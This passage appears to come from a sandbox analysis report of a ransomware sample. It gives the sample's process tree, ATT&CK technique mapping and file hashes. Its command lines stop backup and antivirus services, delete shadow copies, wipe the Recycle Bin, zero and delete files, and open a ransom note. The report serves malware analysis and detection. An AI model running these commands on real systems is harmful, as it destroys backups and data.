- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:1436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:6040
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:4148
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:5940
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:2620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:6024
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:4540
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5904
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5756
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:5984
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5896
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:2424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5880
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:1320
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:2464
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:428
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3944
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4960
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2148
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:976
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:3028
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1728
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:3684
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:3932
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:336
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2316
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1784
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4228
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4276
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1416
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:3116
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:4144
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta
  2⤵
  - Blocklisted process makes network request
  PID:4604
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1048
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5840
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:5460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
  2⤵
  PID:5612
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:6020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

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Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
446B

MD5
345bbf931f8a033a25c429782d374bbb

SHA1
76e53c59f3bd0945ac7773d7cf2feabdd116624d

SHA256
53a4350f5ddd7094ecad29314c08be65089bf4e86bf09da9172fc3542e26f11b

SHA512
e45bb25486bf1fb92425c4fe2d54feddf90f5f10f0a0e3e0e5e66e36f6cc5fe342e8c212cbdcd235581a8583e92deb49e847226e819f9657fc04ffeb3db6a002

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c1xq1by3.0gk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta

Filesize
1KB

MD5
ba64b161d98614169616c9db062e51ea

SHA1
d4d4cabcaa376b79f307a48b5b42bfa12fed68ad

SHA256
98ca310f452e883617afd3dcbfdf05c03334d16f30c8966f217fb7afcae506d1

SHA512
993c61824340c3c9ba8f1d42979895c276c5450314489ecdb11b059ebfe5ee1311ca6dd4aa10adaec3973d776b93e7fd92a368007ad121416f6b9033190d1fef

Download Submit
memory/3732-13-0x00007FF84EF70000-0x00007FF84FA32000-memory.dmp

Filesize
10.8MB

Download
memory/3732-8-0x000001CB78250000-0x000001CB78272000-memory.dmp

Filesize
136KB

Download
memory/3732-12-0x00007FF84EF70000-0x00007FF84FA32000-memory.dmp

Filesize
10.8MB

Download
memory/3732-14-0x00007FF84EF70000-0x00007FF84FA32000-memory.dmp

Filesize
10.8MB

Download
memory/3732-17-0x00007FF84EF70000-0x00007FF84FA32000-memory.dmp

Filesize
10.8MB

Download
memory/3732-18-0x00007FF84EF70000-0x00007FF84FA32000-memory.dmp

Filesize
10.8MB

Download
memory/4756-0-0x00007FF84EF73000-0x00007FF84EF75000-memory.dmp

Filesize
8KB

Download
memory/4756-2-0x00007FF84EF70000-0x00007FF84FA32000-memory.dmp

Filesize
10.8MB

Download
memory/4756-1-0x0000000000B10000-0x0000000000B2C000-memory.dmp

Filesize
112KB

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memory/4756-132-0x00007FF84EF70000-0x00007FF84FA32000-memory.dmp

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10.8MB

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